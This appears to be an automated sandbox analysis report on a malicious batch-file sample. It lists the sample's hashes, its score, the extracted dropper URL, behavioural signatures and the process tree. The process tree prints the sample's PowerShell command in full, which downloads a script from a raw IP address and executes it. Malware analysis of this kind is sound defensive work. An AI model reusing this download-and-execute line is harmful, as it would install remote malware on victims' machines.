Analysis
-
max time kernel
15s -
max time network
46s -
platform
windows7_x64 -
resource
win7v200722 -
submitted
28-09-2020 00:10
Static task
static1
Behavioral task
behavioral1
Sample
907a9dfa1ee12bc85669faaf78bbcea4.bat
Resource
win7v200722
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
907a9dfa1ee12bc85669faaf78bbcea4.bat
Resource
win10
windows10_x64
0 signatures
0 seconds
General
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Target
907a9dfa1ee12bc85669faaf78bbcea4.bat
-
Size
214B
-
MD5
e1fe18d046cfe61c5f33836a8a3f7787
-
SHA1
ac46f9af46ba6f847df4627fbfbff3e4f7641305
-
SHA256
17c07801ef59676f056659dea9953b977b2950d02f48bbc4160ea748a71426aa
-
SHA512
1799090232c52da264281d4117b1f76262d752469de2ded0db8176acde4af6c31ba7fe37bfe0339075506884e11e564726d197e27bfeb9df1d7a27487500a9d2
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://185.103.242.78/pastes/907a9dfa1ee12bc85669faaf78bbcea4
Signatures
-
Blacklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 4 1040 powershell.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
powershell.exepid process 1040 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1040 powershell.exe 1040 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1040 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
cmd.exedescription pid process target process PID 1408 wrote to memory of 1040 1408 cmd.exe powershell.exe PID 1408 wrote to memory of 1040 1408 cmd.exe powershell.exe PID 1408 wrote to memory of 1040 1408 cmd.exe powershell.exe PID 1408 wrote to memory of 1040 1408 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\907a9dfa1ee12bc85669faaf78bbcea4.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1408 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/907a9dfa1ee12bc85669faaf78bbcea4');Invoke-YAJYLNB;Start-Sleep -s 10000"2⤵
- Blacklisted process makes network request
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1040
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/1040-0-0x0000000000000000-mapping.dmp
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memory/1040-1-0x00000000747D0000-0x0000000074EBE000-memory.dmpFilesize
6.9MB
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memory/1040-2-0x0000000000C90000-0x0000000000C91000-memory.dmpFilesize
4KB
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memory/1040-3-0x00000000048D0000-0x00000000048D1000-memory.dmpFilesize
4KB
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memory/1040-4-0x0000000002490000-0x0000000002491000-memory.dmpFilesize
4KB
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memory/1040-5-0x0000000004850000-0x0000000004851000-memory.dmpFilesize
4KB
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memory/1040-8-0x0000000005680000-0x0000000005681000-memory.dmpFilesize
4KB
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memory/1040-13-0x0000000005750000-0x0000000005751000-memory.dmpFilesize
4KB
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memory/1040-14-0x0000000006220000-0x0000000006221000-memory.dmpFilesize
4KB
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memory/1040-21-0x00000000061F0000-0x00000000061F1000-memory.dmpFilesize
4KB
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memory/1040-22-0x00000000062C0000-0x00000000062C1000-memory.dmpFilesize
4KB